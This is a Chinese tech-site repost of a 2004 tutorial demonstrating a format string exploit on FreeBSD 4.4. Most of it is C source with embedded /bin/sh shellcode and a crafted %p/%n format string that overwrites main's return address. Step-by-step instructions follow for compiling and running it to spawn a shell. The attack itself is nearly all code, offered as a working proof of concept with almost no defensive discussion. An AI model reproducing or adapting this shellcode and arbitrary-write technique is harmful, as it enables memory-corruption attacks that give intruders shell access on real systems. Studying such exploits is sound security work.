您的位置:首页资讯教你一招 → FreeBSD格式化字符串简单演示

FreeBSD格式化字符串简单演示

时间:2004/10/15 1:17:00来源:本站整理作者:蓝点我要评论(0)

  /* simple example for printf ex on FreeBSD */
#include
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
  %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff);//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . ..
gcc printfex.c -o ex
./ex >/dev/null#为了防止打印太多东西从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
  __ by watercloud __

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 电视盒子怎么看百度云迅雷9怎么关闭右侧 迅迅雷99.99下载不完怎么网易云音乐怎么上传歌

最新文章 2022支付宝万能福扫福微信迎新春状态怎么设 微信小老虎头像怎么设置 微信ID后面设置小老抖音压岁钱卡怎么获得2022 抖音压岁钱获取方微博隐私保护怎么设置 微博隐私保护功能完善今日头条2022年集卡活动开启时间 今日头条2

人气排行 智学网怎么登录 智学网怎么查分数 智学网统教你怎么写电子邮箱格式?以163和QQ邮箱为例腾讯大王卡用了后悔怎么办 腾讯大王卡值得办缺少或丢失xinput1_3.dll解决方法,xinput1应用程序无法正常启动0xc000007b解决方法快播关闭怎么办?快播不能用了怎么看片将pdf文件转换为word文件的最简单方法如何破解QQ空间密码和权限